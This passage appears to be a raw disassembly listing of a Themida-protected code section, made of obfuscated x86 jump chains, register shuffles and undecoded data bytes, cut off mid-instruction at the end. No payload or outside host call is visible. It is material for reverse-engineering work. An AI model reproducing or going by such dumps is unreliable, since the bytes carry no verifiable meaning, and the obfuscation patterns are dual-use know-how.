db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FDECo dd 4EC8324h, 0E9243C89h, 0FFFF7FA6h, 0BF575854h, 4, 555FF801h dd 0FEE776E9h, 0EC815BFFh, 4, 0BB241C89h, 2, 875BDA01h dd 248B2414h, 2CD36624h, 60E99C24h, 0F7FFFEC4h, 0C12F05D0h dd 0C601D4ADh, 24148B58h, 0CE9h db 0 ; --------------------------------------------------------------------------- loc_563C49: ; CODE XREF: Themida_:005589DBj push dword ptr [esp+4] mov ebp, [esp] jmp loc_55B5E7 ; --------------------------------------------------------------------------- dd offset dword_414C30+38h align 2 dw 2C89h dd 0C645E924h, 0E189FFFEh, 4C181h, 0C1830000h, 240C8704h dd 270AE95Ch, 8966FFFFh, 0EDE92404h, 8BFFFFBFh, 54572414h dd 4C7815Fh, 83000000h, 3C8704C7h, 0D871E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563C96: ; CODE XREF: Themida_:00564BCCj pop edx push 78B7h mov [esp], ecx mov ecx, 70BA1A99h inc ecx push 3013h mov [esp], ebp mov ebp, 0EFEDD223h xor ecx, ebp pop ebp sub esi, ecx push dword ptr [esp] pop ecx add esp, 4 add edx, 7E3C7809h sub edx, esi jmp loc_55A8BB ; --------------------------------------------------------------------------- db 2Dh dd 95535E81h, 0BEE9C509h, 28FFFF1Fh, 47E953F0h, 81FFFF11h dd 0E4F5CBF1h, 59CE29B6h, 0FF74B9E9h, 5BF800FFh, 0B60FC330h dd 8734FFC0h, 0D8DE9h db 0 ; --------------------------------------------------------------------------- loc_563CFD: ; CODE XREF: Themida_:0055A73Cj pop ecx inc dl sub dl, 0E7h jmp loc_554949 ; --------------------------------------------------------------------------- dd 42Dh, 24043300h, 33240431h, 895C2404h, 0C6E92434h, 89FFFF44h dd 19E95BD8h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_563D27: ; CODE XREF: Themida_:00556279j add ecx, esi jmp loc_560948 ; --------------------------------------------------------------------------- dd offset dword_557D3C+2Ch dw 8900h dd 2668241Ch, 0E97D5A24h, 0FFFEE751h, 805AF388h, 0D80076C3h dd 0E089505Bh, 405h, 0A9E95100h, 68FFFEF6h, 59FAh, 51243489h dd 30128EB9h, 0B2F18109h, 0C1309C21h, 0C18108E9h, 0D1C0474Ah dd 0FF68E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_563D79: ; CODE XREF: Themida_:00565043j pop ebp add edx, 29672C17h add edx, ecx jmp loc_5525C9 ; --------------------------------------------------------------------------- db 5Fh dd 8904EC83h, 0E6892434h, 4BA52h, 0D6010000h, 4C6835Ah dd 0E9243433h, 0FFFFBC10h ; --------------------------------------------------------------------------- loc_563DA4: ; CODE XREF: Themida_:00563A45j xor [esp], edi xor edi, [esp] mov esp, [esp] pop dword ptr [esp] pop esp rol byte ptr [esp], cl pushf jmp loc_550097 ; --------------------------------------------------------------------------- loc_563DBA: ; CODE XREF: Themida_:00555751j add edx, 9A94158Ch add eax, edx pop edx jmp loc_553E74 ; --------------------------------------------------------------------------- dd 2C181h, 0E9510000h, 0FFFF074Bh, 0B2491768h, 7129E910h db 2 dup(0FFh) word_563DDE dw 8B66h ; DATA XREF: Themida_:0054FE0Co dd 7EE92404h, 81FFFFD2h, 0CF41F1C1h, 59C889A9h, 2404FF50h dd 0E924048Bh, 0FFFF33E0h ; --------------------------------------------------------------------------- loc_563DFC: ; CODE XREF: Themida_:005620B9j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx jmp loc_553EAB ; --------------------------------------------------------------------------- dw 0EE81h dd 6F205CA7h, 29E9C601h db 86h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E1B: ; CODE XREF: Themida_:00553239j xor [esp], edx xor edx, ebp xor ebp, edx xor edx, ebp not ebp xchg ebp, edx xor [esp], edx xor edx, [esp] xor [esp], edx mov edx, [esp] add esp, 4 jmp loc_55FF41 ; --------------------------------------------------------------------------- loc_563E3F: ; CODE XREF: Themida_:00556ECEj mov eax, 4 sub edi, 14DF22ACh jmp loc_558246 ; --------------------------------------------------------------------------- loc_563E4F: ; CODE XREF: Themida_:005620E2j add ecx, 4 jmp loc_55CDA5 ; --------------------------------------------------------------------------- dw 0D189h dd 59CF015Ah, 7A6F68h, 243C8900h, 0FFB9FEE9h, 55DBF7FFh dd 9F1726BDh, 0EDCD8155h, 0E90D7E1Bh, 0FFFF3372h, 0BB53E089h dd 4, 55BD801h, 4, 5C240487h, 0FEC657E9h, 440768FFh, 81595E75h dd 4C1807F1h, 0E37BE919h, 8951FFFEh, 97C7E9E1h, 8F5FFFFFh dd 875F2404h, 87D2F7D7h, 5E7C1D7h, 0A2A4B951h, 0CF01FC63h dd 6479E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563ECE: ; CODE XREF: Themida_:00556775j pop ecx push dx jmp loc_560160 ; --------------------------------------------------------------------------- loc_563ED6: ; CODE XREF: Themida_:0055B6B7j xor ecx, eax pop eax sub ecx, esi push dword ptr [esp] pop esi add esp, 4 add ecx, 6EF0271h sub ecx, 78420886h jmp loc_551A9E ; --------------------------------------------------------------------------- dw 0D1F7h dd 0C141E981h, 5E9BF11h db 28h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563F03: ; CODE XREF: Themida_:00565233j push ecx mov ecx, 55667260h jmp loc_55F3CE ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFEA51h ; --------------------------------------------------------------------------- loc_563F14: ; CODE XREF: Themida_:00559274j pop eax xchg edx, [esp] mov esp, [esp] jmp loc_55E58F ; --------------------------------------------------------------------------- loc_563F20: ; CODE XREF: Themida_:005624BCj mov esp, [esp] jmp loc_557635 ; --------------------------------------------------------------------------- dd 52DEE952h, 0C581FFFFh, 4, 755F68h, 7A2AE900h, 3559FFFFh dd 134055F3h, 105h, 0F1B95100h, 1378037h, 6F0559C8h, 810162BFh dd 4C0D4FEEh, 81C6011Fh, 4C0D4FC6h, 0C681581Fh, 5E7C35C4h dd 2774E681h, 0F6812C13h, 20112310h, 34FFF701h, 0E9515E24h dd 0FFFEDE04h, 4C481h, 0F7E90000h, 89FFFEE4h, 4C781E7h dd 83000000h, 3C8704C7h, 48F5C24h, 24248B24h, 240CD366h dd 0C0E9E99Ch, 14F7FFFEh, 6936E924h db 2 dup(0FFh) word_563FB6 dw 8B66h ; DATA XREF: Themida_:0054FF54o dd 54562404h, 0C11685Eh, 0C890000h, 6E6AB924h, 0C2E947F6h dd 81FFFEE0h, 5755BDCBh, 2100E917h, 0D589FFFFh, 0EB015E5Ah dd 5687E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563FE6: ; CODE XREF: Themida_:0055A342j add esp, 4 shl ecx, 6 shl ecx, 3 sub esp, 4 mov [esp], esi mov esi, 7C01A61h shr esi, 3 jmp loc_553BF7 ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 4EC81h, 14890000h, 4BA24h, 0D7010000h, 0BA52515Ah, 5725848h dd 2EC6BF57h, 0E781626Eh, 0FF61609h, 0FF1328E9h, 0E08950FFh dd 0FF2DBCE9h, 7EAC1FFh, 96EFBE56h, 4E9772Eh, 81FFFFF1h dd 4C4h, 4C58100h, 87000000h, 685C242Ch, 0B94h, 0FF241489h dd 0E9042474h, 0FFFEF688h, 5BEE955h, 82680000h, 0E9000044h dd 0FFFEE849h, 80B0EC80h, 0E500ADC4h, 0ADC58058h, 2C7CED80h dd 4E82876h, 289CE976h, 685DFFFFh, 7269h, 50243C89h, 0F984E952h dd 0C781FFFFh, 46C43442h, 83240C8Bh, 3C8704C4h, 24248B24h dd 24048B66h, 248C68h, 241C8900h, 56C368h, 48F5400h, 9E94E924h dd 0C481FFFFh, 4, 57D3B850h, 0E0C11397h, 99BF5703h, 810A227Ah dd 344B23C7h, 17E94774h, 0C1FFFF0Eh, 53E904E5h, 0BFFFFFF9h dd 76A54A3Ah, 7250CF81h, 0F7813343h, 12235BC8h, 0EF81D7F7h dd 9A3BDE49h, 3C8BFE01h, 4C48124h, 0E9000000h, 0FFFFD06Bh dd 0E9C82958h, 0FFFF998Ch, 405h, 4C08300h, 23CE9h, 81454D00h dd 9E0F5h, 5DE80100h, 4EC8353h, 0B9240C89h, 33320442h dd 2FA2E181h, 514964C1h, 0FECAD8E9h, 0E5305AFFh, 8124048Bh dd 4C4h, 944CE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56416A: ; CODE XREF: Themida_:00551FD2j shl ebp, 8 xor ebp, 0EE548A39h mov ebx, ebp pop ebp or ebx, 226C3AD3h push esi mov esi, 5FDB7189h add esi, 3E1B45E6h jmp loc_55A8B5 ; --------------------------------------------------------------------------- loc_56418D: ; CODE XREF: Themida_:00561691j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx jmp loc_55B392 ; --------------------------------------------------------------------------- db 81h dd 0FB35D0F5h, 3EDC16Ah, 0FF7E4DE9h db 0FFh ; --------------------------------------------------------------------------- loc_5641AD: ; CODE XREF: Themida_:00553BF2j push ecx mov ch, bl not ch push 598Ch mov [esp], edx mov dl, ch mov bl, dl pop edx pop ecx push 0 sub [esp], bl mov bl, [esp] add esp, 4 jmp loc_55F332 ; --------------------------------------------------------------------------- db 0C1h dd 46E904E9h db 0E1h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5641DB: ; CODE XREF: Themida_:005607C0j mov [esp], ecx push ebx push edi mov edi, 62D700B8h or edi, 68938CCh neg edi or edi, 1C0F325Ch not edi push edi not dword ptr [esp] pop edi jmp loc_559E29 ; --------------------------------------------------------------------------- db 57h dd 7658E7BFh, 94EF810Eh, 8139F56Bh, 501154E7h, 80F7817Ch dd 0E922A620h, 0FFFF4701h, 79FBA705h, 67EB810Bh, 0E95F4F27h dd 0FFFF8A2Bh, 2EE5BA52h, 0D1893E53h, 0FF1252E9h, 4C083FFh dd 2474FF50h, 48F5804h, 24248B24h, 3302C783h, 3C31243Ch dd 243C3324h, 6624248Bh, 9C243CD3h, 0FEBE36E9h, 6FE95FFFh dd 54FFFF73h, 4EC815Dh, 89000000h, 4B82404h, 0E9000000h dd 0FFFED697h, 1B47A2BFh, 5FFA892Fh, 1DE9D731h, 0BAFFFF62h dd 258A0F69h, 0FEF363E9h, 1C183FFh, 3900F181h, 0CB015AD2h dd 0EEC38159h, 814CED22h, 2F7B15EBh, 48BF572Ah, 0E927497Bh dd 0FFFF8AD7h, 80BDB753h, 15E986F7h, 1000009h, 243C8BF9h dd 81E38953h, 4C3h, 4C38300h, 0FFCBC2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5642D9: ; CODE XREF: Themida_:00551C86j xor [esp], esi xor esi, [esp] pop esp mov [esp], esi mov esi, eax push esi push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_564BB6 ; --------------------------------------------------------------------------- dd 0CCB60F66h, 14D16866h, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFECFA8h, 6607C580h, 80000068h, 28C2242Ch, 5266242Ch dd 0EBE9C2B6h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56432F: ; CODE XREF: Themida_:005649C2j push eax mov eax, 4714726h neg eax jmp loc_554116 ; --------------------------------------------------------------------------- dd 685DE901h, 2885h, 50242C89h, 2B8h, 34815000h, 6430EC24h dd 654E926h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56435A: ; CODE XREF: Themida_:0055AAC7j pop esi add esp, 4 add esp, 4 add eax, 2C14C862h add edi, eax pop eax jmp loc_55D2BD ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 0FF716EE9h, 14F757FFh, 0EE1FE924h, 0EC81FFFEh, 4, 0BD242C89h dd 273C275Ah, 3C275EBBh, 5DEB3127h, 14F8E981h, 0D90121BBh dd 14F8C181h, 2EE921BBh, 1FFFF3Fh, 10C181E9h, 0E976123Eh dd 0FFFF495Dh, 0E905EDC1h, 0FFFEEA81h, 4E5BBD55h, 0EF2927A3h dd 0B5B9515Dh, 3154445Bh, 240C8BCFh, 4C481h, 0F8290000h dd 5F2434FFh, 0FF555CE9h, 81DBF7FFh, 2003E2EBh, 0A0F3814Eh dd 0F77DF702h, 25E381D3h, 813BB847h, 0F826BFEBh, 93E9521Dh dd 0B8FFFF2Ah, 2077661Ch, 0F049292Dh, 0FBF577Eh, 15E78E3h dd 0B8505FF8h, 39C7BADh, 9ACEE950h, 8956FFFFh, 12BD55E6h dd 0C1440340h, 8CE902EDh db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564437: ; CODE XREF: Themida_:00553292j add ebx, eax sub ebx, 536A4C13h jmp loc_561EEB ; --------------------------------------------------------------------------- dd 0E402E952h, 8953FFFFh, 0E08950E3h, 405h, 4E88300h, 5C240487h dd 0FFB879E9h, 242C8BFFh, 81E38953h, 4C3h, 4C38300h, 5C241C87h dd 0C6F9E952h, 0FD68FFFEh, 5E05310Bh, 515EF731h, 5C2738B9h dd 0E981415Eh, 166B0AA0h, 0FFA556E9h, 81E189FFh, 4C1h dd 4E98300h, 0FF79BDE9h, 4C383FFh, 2474FF53h, 241C8B04h dd 0FF8185E9h, 0E95D5EFFh, 0FFFED914h, 4C481h, 89560000h dd 4C681E6h, 0E9000000h, 0FFFF6013h ; --------------------------------------------------------------------------- loc_5644D0: ; CODE XREF: Themida_:005561C4j add esp, 4 push ebx jmp loc_55B9FD ; --------------------------------------------------------------------------- loc_5644DC: ; CODE XREF: Themida_:005532F9j add ebx, eax pop eax sub eax, 5C6C6308h jmp loc_56377B ; --------------------------------------------------------------------------- db 2Dh, 0Eh, 5Eh dd 89505CC3h, 8B2BE9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5644F6: ; CODE XREF: Themida_:00561701j mov esi, esp add esi, 4 sub esp, 4 jmp loc_562912 ; --------------------------------------------------------------------------- byte_564509 db 55h, 0E9h, 23h ; DATA XREF: Themida_:0054FF58o dd 0E9FFFF97h, 0FFFEBB83h ; --------------------------------------------------------------------------- loc_564514: ; CODE XREF: Themida_:0055CEE6j pop edi push esi mov esi, 4FDC650Eh dec esi not esi jmp loc_55B6CF ; --------------------------------------------------------------------------- loc_564523: ; CODE XREF: Themida_:0055F9A1j push ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push 6704h mov [esp], ebp push dword ptr [esp+4] jmp loc_56454B ; --------------------------------------------------------------------------- loc_564544: ; CODE XREF: Themida_:00554F53j add ebp, esi jmp loc_55225D ; --------------------------------------------------------------------------- loc_56454B: ; CODE XREF: Themida_:0056453Fj mov ebp, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55CD65 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 8924248Bh, 30E9240Ch db 0BBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564567: ; CODE XREF: Themida_:0055CE72j add ebp, 4 jmp loc_552917 ; --------------------------------------------------------------------------- dw 815Ah dd 0EBD49FC2h, 5AD689E7h, 2D5EF001h, 4DE727EFh, 73E668h dd 240C8900h, 98CE25B9h, 0E9C8313Ah, 0FFFF7F0Ch, 4C481h dd 0C4830000h, 0B6685604h, 89000078h, 26E92404h, 0FF000002h dd 8B042474h, 0C481242Ch, 4, 5C24048Fh, 9C2404D3h, 0FEBACEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5645C9: ; CODE XREF: Themida_:0055E44Dj pop edx and eax, esi mov esi, [esp] add esp, 4 or edx, eax jmp loc_561A3A ; --------------------------------------------------------------------------- db 83h, 0E8h, 4 dd 31240433h, 4332404h, 0B8ECE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5645EA: ; CODE XREF: Themida_:005542E1j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebx mov bh, dl jmp loc_55350E ; --------------------------------------------------------------------------- byte_5645FB db 0FFh ; DATA XREF: Themida_:0054FE60o dd 0E9582434h, 0FFFEE094h, 5224248Bh, 0FF85E6E9h, 5B5453FFh dd 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFF2708h, 0E924248Bh dd 0FFFF1018h, 606328BDh, 0E9EF8918h, 0FFFFE36Ah ; --------------------------------------------------------------------------- loc_564638: ; CODE XREF: Themida_:005502FDj or eax, eax jmp loc_5649E9 ; --------------------------------------------------------------------------- db 87h dd 895C240Ch, 0E189240Ch, 8685750h, 0E95CB334h, 0FFFF13DEh dd 0EC81E189h, 4, 0BE243489h, 41C31026h, 0FEDB80E9h, 0BA29E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56466E: ; CODE XREF: Themida_:00552CA0j and esi, 1A2E0F51h xor esi, 3B771226h push ebp mov ebp, 20393B10h and ebp, 7B5C36D3h jmp loc_561954 ; --------------------------------------------------------------------------- loc_56468B: ; CODE XREF: Themida_:005655DDj pop esi xor ecx, 0F57EF3D7h add esi, ecx pop ecx add esi, 4 jmp loc_560D24 ; --------------------------------------------------------------------------- dword_5646A0 dd 50240C8Bh, 0FFDFFFE9h, 241C31FFh, 0FF2B77E9h, 4C781FFh ; DATA XREF: Themida_:0054FDF4o dd 81000000h, 4C7h, 39D4E900h, 3433FFFFh, 24248B24h, 0E9241489h dd 0FFFFE8D2h, 86E9F101h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5646D7: ; CODE XREF: Themida_:00565628j mov ecx, [esp] add esp, 4 push ebp push eax mov eax, 16C31E7Ah push 2A910D18h mov ebp, [esp] add esp, 4 add ebp, eax jmp loc_565516 ; --------------------------------------------------------------------------- byte_5646F9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055001Co dd 0FD24E924h, 0ABB6FFFFh, 8B66F700h, 0C4812414h, 2, 1DE9F820h dd 81FFFF05h, 5AE60FF7h, 0B9C281DAh, 0E942372Bh, 0FFFFEDDDh dd 0C581E589h, 4, 0E904C583h, 0FFFF1050h ; --------------------------------------------------------------------------- loc_564738: ; CODE XREF: Themida_:00559547j add eax, ebx pop ebx sub esp, 4 mov [esp], edx mov edx, 0 add edx, eax sub esp, 4 mov [esp], ebx push edx mov edx, 54C84839h mov ebx, 54C84839h sub ebx, edx jmp loc_55BB88 ; --------------------------------------------------------------------------- dd 86BE565Dh, 8133FB2Fh, 1A575BF6h, 4FCE812Eh, 8134923Bh dd 0BC60C2EEh, 0E9F5292Dh, 0FFFF809Ch ; --------------------------------------------------------------------------- loc_564780: ; CODE XREF: Themida_:0055D063j xchg eax, edi push edx mov edx, 71351312h dec edx add edx, 0D3E1F85h add edx, 280559EBh jmp loc_559855 ; --------------------------------------------------------------------------- db 52h, 0BAh, 0E0h dd 3170C320h, 24148BD0h, 0FEF3C8E9h, 42D2F7FFh, 1F9EA81h dd 0D2F77FAFh, 0B740C281h, 79E96F37h, 68FFFF08h, 278h dd 89240C89h, 4C181E1h, 55000000h, 0FF5BF0E9h, 36E468FFh dd 48B0508h, 4C48324h, 0FEBF4DE9h, 0E18951FFh, 4C181h dd 0E9830000h, 2DE95104h, 81FFFF79h, 0A71C6FC6h, 424E96Fh dd 3C8BFFFFh, 4C48324h, 5C241C87h, 0FEB886E9h db 0FFh ; --------------------------------------------------------------------------- loc_564811: ; CODE XREF: Themida_:0055D168j xor edi, esi pop esi mov ebx, edi pop edi sub ebx, 1 neg ebx jmp loc_55D2DA ; --------------------------------------------------------------------------- dd 0D2F7DAF7h, 2636E956h, 34FFFFFFh, 0C4815F24h, 4, 0E9243433h dd 0FFFEE418h, 5FA72D40h, 0D0F767C6h, 5513B05h, 40092D3Ah dd 0BD3572E3h, 2937155Ah, 8EE958C5h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56485F: ; CODE XREF: Themida_:005507D8j mov ebx, [esp] push edi mov edi, esp add edi, 4 jmp loc_55C515 ; --------------------------------------------------------------------------- dd 0FEB822E9h, 0B60F66FFh, 0E9DDE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56487E: ; CODE XREF: Themida_:0055DED7j mov ecx, edi pop edi jmp loc_56229E ; --------------------------------------------------------------------------- dw 0B850h dd 4, 24048150h, 4E1741BFh, 8588E95Ah, 8B54FFFFh, 0E9562434h dd 0FFFFD3E5h, 81242489h, 42404h, 3C8B0000h, 4C48324h dd 0FF8ECBE9h, 665205FFh, 0C80127D4h, 0D466522Dh, 240C8B27h dd 8904EC83h, 0E954243Ch, 0FFFEF1EAh, 805AF588h, 0EB8077EBh dd 0E9EB0097h, 0FFFF7BD1h, 0BB535053h, 37FC587Dh, 4245C31h dd 241C8B5Bh, 0FED0A7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5648F9: ; CODE XREF: Themida_:005536FFj mov eax, 79910C82h or edi, eax pop eax jmp loc_55E43C ; --------------------------------------------------------------------------- word_564906 dw 77FFh ; DATA XREF: Themida_:0054FFACo dd 19589D1Ch, 0E99C2404h, 0FFFFFF5Ch, 0E9243C8Bh, 0FFFF90F8h dd 0D8645C05h, 0ED10E937h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564926: ; CODE XREF: Themida_:00551C78j sub ecx, 0F633F09Fh add ebx, 7C151D80h sub ebx, ecx jmp loc_56107B ; --------------------------------------------------------------------------- db 5Bh, 55h, 0BDh dd 672F4597h, 2C8BE929h, 0D5EAE924h, 5066FFFFh, 0E52029B4h dd 0CD805866h, 7DED80F1h, 2C59EE88h, 4F00074h, 505A6674h dd 24048B54h, 4C481h, 0BA520000h, 2C9A3AD8h, 8107E2C1h dd 1D6C04F2h, 75CE2D4Dh, 0D00170E6h, 0E675CE05h, 52565A70h dd 2BAh, 5AD68900h, 348BF029h, 2F81E924h, 0F4E9FFFFh, 81FFFEB6h dd 4C6h, 0C410E900h, 815DFFFFh, 6430ECF5h, 48FEE926h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5649BA: ; CODE XREF: Themida_:0056194Fj push esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_56432F ; --------------------------------------------------------------------------- byte_5649C7 db 53h ; DATA XREF: Themida_:0054FE58o dd 51E68956h, 0FEB7D3E9h, 0E4EF81FFh, 0E96B5359h, 0FFFF5FF0h ; --------------------------------------------------------------------------- loc_5649DC: ; CODE XREF: Themida_:005655BBj mov ecx, eax pop eax or ebp, ecx mov ecx, [esp] jmp loc_5568AF ; --------------------------------------------------------------------------- loc_5649E9: ; CODE XREF: Themida_:0056463Aj jz loc_5636BC push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_56023A ; --------------------------------------------------------------------------- dw 505Dh dd 405E089h, 5000000h, 4, 0E9240487h, 0FFFEDDAFh, 5C241433h dd 0BA241489h, 0AFEDC3C2h, 0FFABB2E9h db 0FFh byte_564A21 db 68h, 7Bh, 62h ; DATA XREF: Themida_:0054FEE8o dd 1C890000h, 68E38924h, 3C74h, 0E9243C89h, 0FFFEFA2Bh ; --------------------------------------------------------------------------- loc_564A38: ; CODE XREF: Themida_:005528E3j pop edi push 37F9h mov [esp], ecx jmp loc_55C1A3 ; --------------------------------------------------------------------------- loc_564A46: ; CODE XREF: Themida_:00557B22j mov [esp], ebx push 3152h mov [esp], eax push edx add dword ptr [esp], 24B74624h pop eax sub eax, 24B74624h mov ebx, eax mov eax, [esp] jmp loc_55A3AB ; --------------------------------------------------------------------------- loc_564A69: ; CODE XREF: Themida_:00560759j mov edi, 7E8522ACh xor esi, edi pop edi push 0CDDh mov [esp], edi mov edi, 14FD0B0Ah mov ecx, 2F0217DAh add ecx, edi jmp loc_563421 ; --------------------------------------------------------------------------- dw 8E9h db 0B6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564A8F: ; CODE XREF: Themida_:00550DF8j xchg ebp, edx not ebp xchg ebp, edx xor edx, 17B31C84h push edx mov ebx, [esp] jmp loc_55FA95 ; --------------------------------------------------------------------------- loc_564AA4: ; CODE XREF: Themida_:0055632Cj mov ebx, 4 add eax, ebx jmp loc_552E20 ; --------------------------------------------------------------------------- dd 76E9D101h, 88FFFEDFh, 241C8BFAh, 4C481h, 1AE90000h db 1Ah, 2 dup(0FFh) byte_564AC7 db 66h ; DATA XREF: Themida_:0054FF2Co dd 0E9240C8Bh, 0FFFEC18Fh, 31665866h, 617CE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564ADA: ; CODE XREF: Themida_:00561A66j mov [esp], eax mov eax, 69BD1DA0h sub ebx, eax pop eax pop edx shr ebx, 2 shr ebx, 3 shl ebx, 3 sub ebx, 3D34F257h push ebp mov ebp, ebx mov eax, ebp jmp loc_55DD5C ; --------------------------------------------------------------------------- db 5Fh dd 4C481h, 0E9530000h, 0FFFEB71Eh, 5604C483h, 0C681E689h dd 4, 4EE81h, 0EE90000h, 68FFFF43h, 0C48h, 50241489h, 0B565E99Ch dd 0C780FFFEh, 6CCF8008h, 0FEC4CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_564B3D: ; CODE XREF: Themida_:00561E61j xchg ecx, [esp] mov esp, [esp] or eax, eax jz loc_559F31 push dword ptr [edi+1Ch] push dword ptr [esp] pop ecx push edi push esp pop edi add edi, 4 jmp loc_5607BB ; --------------------------------------------------------------------------- dd 0B636A9B9h, 0FFC18302h, 0C00E950h, 0DD29FFFFh, 0D22C581h dd 0B95B3BD1h, 944EA994h, 0E95DE901h, 0FFFF94DCh, 4C181h dd 6EE90000h, 81FFFF08h, 0A20FA2C3h, 45B85060h, 0E91FD652h dd 0FFFEB6BBh, 0BA52E789h, 4, 835AD701h, 3C8704EFh, 0E526E924h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564BB6: ; CODE XREF: Themida_:005642FBj add eax, 4 xchg eax, [esp] mov esp, [esp] push dword ptr [esp] pop esi jmp loc_558A29 ; --------------------------------------------------------------------------- loc_564BCA: ; CODE XREF: Themida_:00557577j and esi, edx jmp loc_563C96 ; --------------------------------------------------------------------------- loc_564BD1: ; CODE XREF: Themida_:0055A617j pop ax jmp loc_564D2F ; --------------------------------------------------------------------------- dd 525BF928h, 0FF496BE9h, 0C0CEFEFFh, 0C68007EEh, 53516630h dd 0CBFEBFB3h, 0FEE6B450h, 96B252CCh, 4E9D420h, 1FFFF85h dd 94FE9D3h, 0C3810000h, 4, 22D9E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C12: ; CODE XREF: Themida_:0055EF2Dj pop ecx push ebp mov ebp, 49F153A3h shl ebp, 6 or ebp, 6FC642E4h jmp loc_55E2E3 ; --------------------------------------------------------------------------- db 0FFh dd 835B2434h, 0D10404C4h, 4EC81h, 14890000h, 8051B624h dd 0F028FAEEh, 2434FF5Ah, 5749E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C4A: ; CODE XREF: Themida_:0055D954j add bl, ah pop eax add bl, 0A2h jmp loc_55B2FF ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0E9E0D15Ch, 0FFFFB456h, 4E981h, 0C870000h, 3C895C24h dd 0DD895524h, 2C8BEF89h, 4C48124h, 89000000h, 2434FFFDh dd 5F2434FFh, 6804C483h, 5C21h, 0E9243C89h, 0FFFFCBF8h dd 3304EE83h, 0CAE92434h, 0C1FFFEE5h, 5AE904E5h db 22h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564CA7: ; CODE XREF: Themida_:00562E36j mov edi, esp push esi mov esi, 4 add edi, esi pop esi push eax mov eax, 4 jmp loc_56087B ; --------------------------------------------------------------------------- db 5Ah, 33h, 4 dd 24043124h, 8B240433h, 39682424h, 8900006Eh, 0F3E92434h dd 83FFFED2h, 0EAE904C0h, 53FFFF00h, 5B85BE56h, 0DDE97D93h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564CEB: ; CODE XREF: Themida_:0055DDA8j pop dword ptr [esp] jmp loc_55872F ; --------------------------------------------------------------------------- loc_564CF3: ; CODE XREF: Themida_:0055B700j add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] mov esp, [esp] push dword ptr [esp] pop eax jmp loc_55A7B2 ; --------------------------------------------------------------------------- loc_564D08: ; CODE XREF: Themida_:0055512Cj push 4A0Ch mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_562D0D ; --------------------------------------------------------------------------- dw 8566h dd 68E99CC8h db 0B3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564D2F: ; CODE XREF: Themida_:00564BD3j push edx mov dl, 0BFh jmp loc_5563D0 ; --------------------------------------------------------------------------- loc_564D37: ; CODE XREF: Themida_:0055AA24j add edi, 1E630AFh dec edi xor edi, 5A3E28DCh not edi dec edi xor edi, 313ECD59h add ebp, edi pop edi jmp loc_55C8BF ; --------------------------------------------------------------------------- db 0F6h, 0DAh, 68h dd 243Fh, 53240C89h, 0FEDB6AE9h db 0FFh ; --------------------------------------------------------------------------- loc_564D65: ; CODE XREF: Themida_:005512F2j inc esi sub esi, 3B25FBD1h shr esi, 5 jmp loc_55067A ; --------------------------------------------------------------------------- dd 0E9241489h, 0FFFFD60Dh, 0E8204AB9h, 8BCA317Dh, 0C481240Ch dd 4, 451EA81h, 0C2816E2Ch, 5EC16256h, 42C0B850h, 0D1350265h dd 2917947Fh, 0ED7BE9C5h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564DAA: ; CODE XREF: Themida_:00553EA6j and ecx, edx push dword ptr [esp] pop edx push edi jmp loc_561DFC ; --------------------------------------------------------------------------- dw 0FB29h dd 5BD9295Fh, 31240C33h, 0C33240Ch, 24248B24h, 0FF241C89h dd 5B042474h, 8B24048Fh, 8B662424h, 0EFE92404h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DDF: ; CODE XREF: Themida_:00553E13j push dword ptr [esp+4] jmp 